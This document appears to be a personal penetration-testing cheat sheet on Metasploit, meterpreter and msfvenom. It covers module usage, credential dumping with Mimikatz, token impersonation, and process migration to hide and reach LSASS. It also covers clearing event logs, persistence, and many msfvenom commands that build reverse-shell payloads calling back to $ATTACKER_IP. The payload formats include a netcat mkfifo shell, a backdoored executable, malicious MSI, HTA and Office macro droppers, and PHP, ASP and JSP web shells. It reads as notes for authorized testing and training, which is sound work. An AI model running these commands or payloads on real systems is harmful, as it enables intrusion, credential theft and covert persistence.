msfconsole

msfconsole

Basic Metasploit flow:

  • use $MODULE_NAME
  • set $OPTIONS
  • run

You can use msfconsole as a shell, but there’s no redirect functionality.

Commands

Common msfconsole commands

  • back — exit the current module
  • db_nmap $FLAGS $IP — run Nmap and dump the results into the Metasploit DB; all Nmap $FLAGS are supported and Metasploit will elevate privileges if necessary
  • help — get Metasploit help
  • history — display command history
  • hosts — display known hosts in DB
  • hosts -d — delete saved hosts from DB
  • info — show module information (including exploit target options)
  • jobs — check the status of background jobs
  • options (advanced) — show module/exploit options (or “advanced” options)
  • run/exploit — run the selected exploit
  • run -j — run the selected exploit as a background job
  • search — search modules; query to a particular type of module using the type: parameter (e.g., search type:exploit wordpress)
  • services — display services discovered in known hosts in DB
  • sessions — list open meterpreter sessions on a box
  • sessions -i $SESSION_NUMER — connect to meterpreter session $SESSION_NUMBER
  • show auxiliary — show auxiliary modules, filtered by relevancy if called from within a module
  • show exploits — show exploit modules
  • show options — show module options
  • show payloads — show payload modules, filtered by relevancy if called from within a module
  • spool — save all console output to a log file (useful for record-keeping)
  • use — select a Metasploit module/exploit
  • vulns — display vulnerabilities discovered in known hosts in DB
  • workspace — use workspaces; keeps database results isolated per engagement

Note that you can also call regular shell commands (ip, ls, etc.) from msfconsole. You can also background processes using Ctrl + Z (Metasploit will trap this, so you don’t have to worry about backgrounding the entire msfconsole).

Link to original

Modules

Module categories:

  • Auxiliary (odds-n-ends)
  • Encoders (re-encode exploits to thwart signature-based anti-malware solutions)
  • Evasion (attempt to directly evade anti-malware solutions)
  • Exploits
  • NOPS (no-op code that can be used to pad exploits to a needed size)
  • Payloads (what you want to run if the exploit is successful; often, but not always, some kind of shell)
  • Post (additional post-exploitation tools)

Note that Metasploit 6 apparently calls these “framework plugins” now.

  • Remember: Open up the port Metasploit’s going to use in your firewall before running the exploit. Generally this is port 4444 by default (set with LPORT).
  • Also Remember: Be sure to set LHOST (and, when applicable, SRVHOST) correctly, even if it’s not indicated by the module. Metasploit’s guesses about which interface to use aren’t always correct… (I find using the explicit IP address works better than specifying the interface device or leaving SRVHOST at the default of 0.0.0.0.)
  • Also ALSO Remember: Sometimes you might find yourself in the position of trying to exploit a service over an SSH tunnel (for example, if you’re trying to exploit a service that’s not exposed externally in order to elevate your privileges). When doing this, remember that LHOST is still your machine’s external address, as the exploit won’t be connecting back over the SSH tunnel (obviously)! Since LHOST is also used to determine where the exploit’s listener binds to, it’s sometimes necessary to set the optional ReverseListenerBindAddress in these cases (typically when you do this, LHOST will be some remote system you’re tunneled into, and ReverseListenerBindAddress will be 127.0.0.1).

Options

Metasploit module usage basics

The common RHOSTS option accepts IP addresses, ranges, CIDR networks, and even a file with one target per line (specify as file:/path/to/file.txt).

Most modules support the ARCH, PAYLOAD, and SESSION options (for specifying target architecture, the payload to deliver, or session number to connect to). However, these are not shown when running show options.

You can reset individual parameters using unset, and reset the entire module using unset all.

Equivalent module commands:

  • set -g = setg
  • unset -g = unsetg
  • run = exploit

Some exploit modules have a check option which attempts to determine if a target is vulnerable without actually exploiting it. Alternately, other modules have a paired auxiliary scanner. Many don’t have a check at all. YMMV!

Payloads

Payloads can be divided into:

  • Singles (self-contained; also indicated by the use of an _ separating “shell” from the rest of the payload name, as in shell_reverse_tcp)
  • Stagers (small applications that establish a connection back to the attacker to download a larger, more complex payload)
  • Stages (payloads designed to be downloaded by a stager; also indicated by the use of a / separating “shell” from the rest of the payload name, as in shell/reverse_tcp)

Payloads follow the OS/ARCHITECTURE/PAYLOAD (though ARCHITECTURE is not included for 32-bit Windows payloads).

INFORMATION

Metasploit defaults to sending 32-bit payloads, but an increasing number of things won’t work on a 64-bit system from a 32-bit meterpreter shell. It’s probably best to explicitly set the payload option to use a 64-bit payload unless you know that you’ll be dealing with a 32-bit system.

List all available payloads using msfvenom --list payloads or show payloads from within the Metasploit console.

A specific payload can be set in the Metasploit console use the set PAYLOAD full/path/to/payload.

If you initially get a native shell, use the post/multi/manage/shell_to_meterpreter module to upgrade to Meterpeter.

shell_to_meterpreter creates a new connection on a new port, by default 4433.

Link to original

Scanners

Metasploit scanner modules

Use search portscan to display built-in Metasploit port scanners. Note that msfconsole needs to be run as root for many scans to work — just like Nmap. That said, in my experience the fancier TCP scans (for example, SYN) don’t work over a VPN… So maybe best to stick with Nmap.

Targeted scanners can be more useful, however:

  • The auxiliary/scanner/discovery/udp_sweep module will probe for common UDP services.
  • The auxiliary/scanner/http/http_version module will give you HTTP server version information.
  • The auxiliary/scanner/smb/smb_login module will allow you to conduct brute-force and password spraying attacks against Samba logins.

Metasploit has a variety of Samba/CIFS scanners too (use search scanner/smb to list them), as well as modules for basic enumeration such as smtp_version/smtp_enum (for SMTP) and mysql_sql (for MySQL, though this seems to just be a thin wrapper around the MySQL command line client).

Link to original

Exploits

Metasploit exploit modules

  • exploit/multi/handler — Catch a shell produced using msfvenom. Note that you’ll need to use set payload to tell Metasploit what it’s catching — for example, windows/meterpreter/reverse_tcp (or windows/x64/meterpreter/reverse_tcp). Both regular reverse shells and meterpreter sessions can be caught this way.
  • exploit/windows/smb/psexec — Call PSExec over SMB (instantiates meterpreter by default). Only works if SMBUser has admin privileges on the target!

Note that any Windows exploit that requires a password will also accept an NTLM hash (the LMHash part can be replaced by an appropriately-sized string of 0 characters if not available).

Link to original

meterpreter

Helpful Metasploit modules to use with meterpreter

Potentially useful Metsploit modules to run from/besides meterpreter:

  • post/windows/gather/checkvm — try to determine if we’re in a VM
  • post/multi/recon/local_exploit_suggester — find possible privilege escalation exploits (can be slow/unreliably on 64-bit architectures)
  • post/windows/gather/enum_shares — enumerate shares
  • auxiliary/scanner/smb/smb_enumusers_domain — enumerate SMB domain users (requires existing admin credentials)
  • post/windows/gather/hashdump — same as the hashdump command, but pushes the hashes into the Metasploit DB
  • post/windows/gather/smart_hashdump GETSYSTEM=FALSE — same as the hashdump command, but pushes the hashes into the Metasploit DB and ignores system accounts
  • auxiliary/analyze/crack_windows — sic John the Ripper or Hashcat on NTLM hashes stored in the Metasploit DB
  • post/windows/manage/enable_rdp — enable RDP access (requires admin privileges)
  • post/multi/manage/autoroute — manipulate target routing for pivoting
  • auxiliary/server/socks_proxy — start a SOCKS proxy
  • exploit/windows/local/persistence — sets up a persistent connection (you probably want to set STARTUP SYSTEM)… without a password!

NOTE

It is generally more useful to background meterpreter and then run these commands through the Metasploit console, as within meterpreter they need to have all options specified on the “run” command line (in the console you can access help, actually see what the options are, etc.).

There seem to be a lot of options for the post/multi/manage/autoroute and auxiliary/server/socks_proxy modules, but I don’t see a way to access them from meterpreter (it looks like to get help you need to background meterpreter and use the console).

The advantage of setting up a SOCKS proxy on the target is that you can then use proxychains to route through the target; this can allow you to pivot more deeply into the network that you’re attacking. (You probably want to create a custom proxychains.conf file to do this. Fortunately, /etc/proxychains.conf is well documented.)

Link to original

CIFS

Metasploit CIFS modules

Metasploit can also enumerate CIFS users using the auxiliary/smb/smb_lookupsid module.

Like Nmap, I’ve found this to be a bit unreliable on UNIX-like systems.

Link to original

MS SQL

Metasploit MS SQL modules

Metasploit provides a lot of tools for enumerating and exploiting MS SQL.

  • auxiliary/scanner/mssql/mssql_ping — Discover MS SQL servers (alternatively, use --script=ms-sql-info with Nmap)
  • auxiliary/scanner/mssql/mssql_login — Brute force logins
  • auxiliary/admin/mssql/mssql_enum — Enumerate databases
  • exploit/windows/mssql/mssql_payload — Get a shell
Link to original

Link to original

meterpreter

meterpreter

The meterpreter reverse shell requires a connection back to msfconsole using multi/handler.

Commands

Common meterpreter commands

  • background — background the current session and return to the Metasploit console
  • clearenv — clears the (Windows) event logs (kinda obvious)
  • creds_all — dump all user credentials in memory (requires the kiwi module)
  • download — transfer a file from the target to the attacker
  • edit — edit a file
  • getpid — get current process ID
  • getprivs — display current user privileges
  • getsystem — attempt to elevate to SYSTEM/root
  • getuid — get current process user
  • golden_ticket_create — create a golden ticket (requires the kiwi module)
  • guid — get session ID
  • hashdump — dump NLTM hashes from the SAM (Windows-only, requires system privileges); fields are username, RID (the last four digits of the Windows SID, with leading zeros dropped), LM password hash, NTLM password hash
  • ifconfig — display host network interface information
  • info — get information about a meterpreter extension
  • load — load meterpreter extension
  • load kiwi — load Mimikatz extension
  • migrate — migrate meterpreter to another process
  • netstat — display host network connections
  • portfwd — forward a port on the host
  • route — mess with the host routing tables
  • run — run a meterpreter extension
  • search — search for files
  • sessions — switch to another (Metasploit) session
  • shell — drop to system shell (return to meterpreter using CTRL + Z)
  • sysinfo — pull remote system information
  • upload — transfer a file from the attacker to the target

meterpreter sessions can be backgrounded using the background command, and all sessions can be backgrounded using CTRL + Z. List sessions using the sessions command, and foreground a session using session -i #, where # is the session number.

The sessions command is also used to connect to meterpreter sessions that have been caught after a successfully executed exploit.

Link to original

Extensions

Loading PowerShell

How to start PowerShell from a meterpreter session

load powershell
powershell_shell

Don’t try to exit PowerShell — trying to do this produces consistent hangs for me. Instead, background the process with ^Z.

Link to original

Using Mimikatz

How to call Mimikatz from a meterpreter shell

Use load kiwi to load up Mimikatz. Sub-commands:

kerberos         # Attempt to retrieve kerberos creds
livessp          # Attempt to retrieve livessp creds
mimikatz_command # Run a custom commannd
msv              # Attempt to retrieve msv creds (hashes)
ssp              # Attempt to retrieve ssp creds
tspkg            # Attempt to retrieve tspkg creds
wdigest          # Attempt to retrieve wdigest creds
Link to original

User impersonation

How to impersonate a user with meterpreter

load incognito
list_tokens -u
impersonate_token $DOMAIN\\$USER

Not 100% sure where the “tokens” come from here… Mimikatz, maybe?

Link to original

Process migration

Process migration in meterpreter

I think that meterpreter is being run directly from memory, and what migrate is doing is basically creating a new process using the memory of a different application, hopping to that process, and then shutting down the old process.

Reasons to migrate the meterpreter process:

  • For persistence (pick a long-running process)
  • To make sure that the meterpreter process has system privileges
  • To hide (pick a process less likely to be examined)
  • To stabilize the shell (initial exploits often produce somewhat unstable sessions)
  • To move laterally or escalate privileges within a system (if you’re lucky)
  • To gain additional capabilities

In particular, harvesting credentials from LSASS requires that meterpreter be living in a process with the same permissions (NT AUTHORITY/SYSTEM) and architecture as LSASS; migrating meterpreter can help us realize this. The print spooler service (spoolsv.exe) is often a good choice, as it runs with elevated permissions, has the same architecture as the system itself, and will restart itself automatically. You can also use lsass.exe directly if you feel like living dangerously.

Another example is that dumping keystrokes will only work when meterpreter is attached to a word processor or text editor.

Note that meterpreter will happily let you migrate from a privileged to an unprivileged process — which may cause you to loose control of the target system! Additionally, migrating meterpreter will change its current working directory to that of the process it’s attaching to.

Executing run post/windows/manage/migrate will cause meterpreter to try to migrate to another process in an automated fashion. I’m not sure how “smart” this is in practice.

Link to original

Link to original

msfvenom

msfvenom

msfvenom is a tool to create custom versions of Metasploit payloads, encoded into a variety of different binary formats and scripts. For example:

# Use Metasploit to generate the code for a remote shell:
#
msfvenom -p cmd/unix/reverse_netcat \
            lhost=$LOCAL_IP lport=$LOCAL_PORT
 
# Spin up a listener using netcat:
#
nc -lvp $LOCAL_PORT

This will generates code that looks like this:

mkfifo /tmp/qdsrgu; \
nc $LOCAL_IP $LOCAL_PORT 0</tmp/qdsrgu | \
	/bin/sh >/tmp/qdsrgu 2>&1; \
rm /tmp/qdsrgu

What’s going on here?

  • mkfifo /tmp/qdsrgu creates a named pipe at /tmp/qdsrgu.
  • We then spin up a netcat instance directed at our local machine (nc $LOCAL_IP $LOCAL_PORT), direct the contents of the pipe into netcat’s STDIN (0< /tmp/qdsrgu), pipe the output of netcat to a shell we know probably exists (| /bin/sh), and finally redirect both STDOUT and STDERR back into the named pipe (> /tmp/qdsrgu 2>&1).
  • On the local machine, nc -lvp $LOCAL_PORT listens for the incoming netcat connection from the remote. Anything we type on STDIN here gets sent to the remote and piped to /bin/sh there. The output of /bin/sh is then sent to the named pipe, which dumps into (the remote) netcat, which then sends the data to the local machine where it ends up on STDOUT.

Use --list formats to see available encoding formats. In general, shell scripts can always be produced by specifying -f raw and an output file with the appropriate extension.

Linux ELF executables

How to exploit Linux ELF executables with msfvenom

# 32-bit Linux ELF meterpreter payload
#
msfvenom -p linux/x86/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f elf -o ${NAME}
Link to original

macOS MACH-O executables

How to exploit macOS MACH-O executables with msfvenom

# 32-bit macOS MACH-O meterpreter payload
#
msfvenom -p osx/x86/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f macho -o ${NAME}
Link to original

Windows executables

How to exploit Windows executables with msfvenom

# 64-bit Windows executable meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe -o ${NAME}.exe
 
# 64-bit Windows SERVICE executable (note that these require
# additional API calls to work, beyond what `-f exe` provides)
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o ${NAME}.exe
 
# Add a meterpreter backdoor to an existing executable
#
msfvenom -a x64 --platform windows -x $ORIGINAL_EXE -k \
	-p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-b "\x00" -f exe -o $BACKDOORED_EXE

Note that by default msfvenom produces 64-bit executables when using the -f exe. This doesn’t work, however, if you’re trying to replace a program in Program Files (x86). In this case, you’ll need to explicitly instruct msfvenom to encode a 32-bit binary using -e x86/shikata_ga_nai.

Link to original

MSI installers

How to exploit Windows MSI installers with msfvenom

If AlwaysInstallElevated is set to 1 under both of the following registry keys, then MSI installers will run as SYSTEM.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate a malicious MSI file with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f msi -o ${NAME}.msi

Then install on the target to get a shell:

msiexec /quiet /qn /i $INSTALLER.msi
Link to original

HTML applications

How to exploit Windows HTML applications with msfvenom

msfvenom can be used to generate HTA refer shells.

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f hta-psh -o ${NAME}.hta

Catch with the standard nc -lvp $ATTACKER_PORT netcat command.

Metasploit can do all of this automatically for us via exploit/windows/misc/hta_server. Critical variables to set:

  • LHOST — the host IP address to connect back to
  • LPORT — the port to connect back to
  • SRVHOST — the host IP address to serve the malicious file on
  • payload — the Metasploit payload to use

In quick-and-dirty cases LHOST and SRVHOST will be the same, though in more sophisticated operations (i.e., if you’re separating phishing and C2 IPs) they will be different. The payload variable is particularly useful, as you can use something like windows/meterpreter/reverse_tcp and get a meterpreter shell, rather than just a plain reverse shell!

Note that you may have to hit “Return” once the file is served to get back to the Metasploit prompt.

Link to original

VBA scripts

How to exploit VBA scripts with msfvenom

Metasploit’s msfvenom can create VBA payloads, as one might expect. Despite WSH not wanting to pop cmd.exe or other executables (outside of calc.exe), a meterpreter reverse shell actually works! (That said, it will die when Word does, and thus needs to be migrated to a new process ASAP…)

msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f vba -o ${NAME}.vba

To work, the VBA output must be copied into a Microsoft Office document as a macro. By default msfvenom will use the Workbook_Open() function; this is suitable for Excel, but must be changed to Document_Open() for Word.

Link to original

Bash scripts

How to exploit shell scripts with msfvenom

# Bash meterpreter payload
#
msfvenom -p cmd/unix/reverse_bash \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.sh
Link to original

Python scripts

How to exploit Python scripts with msfvenom

# Python meterpreter payload
#
msfvenom -p cmd/unix/reverse_python \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.py
Link to original

Perl scripts

How to exploit Perl scripts with msfvenom

# Perl meterpreter payload
#
msfvenom -p cmd/unix/reverse_perl \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.pl
Link to original

PHP scripts

How to exploit PHP scripts with msfvenom

# PHP meterpreter payload
#
msfvenom -p php/meterpreter_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.php
Link to original

ASP scripts

How to exploit ASP scripts with msfvenom

# ASP meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f asp -o ${NAME}.asp
Link to original

JSP scripts

How to exploit JSP Scripts with msfvenom

# JSP meterpreter payload
#
msfvenom -p java/jsp_shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f raw -o ${NAME}.jsp
Link to original

Link to original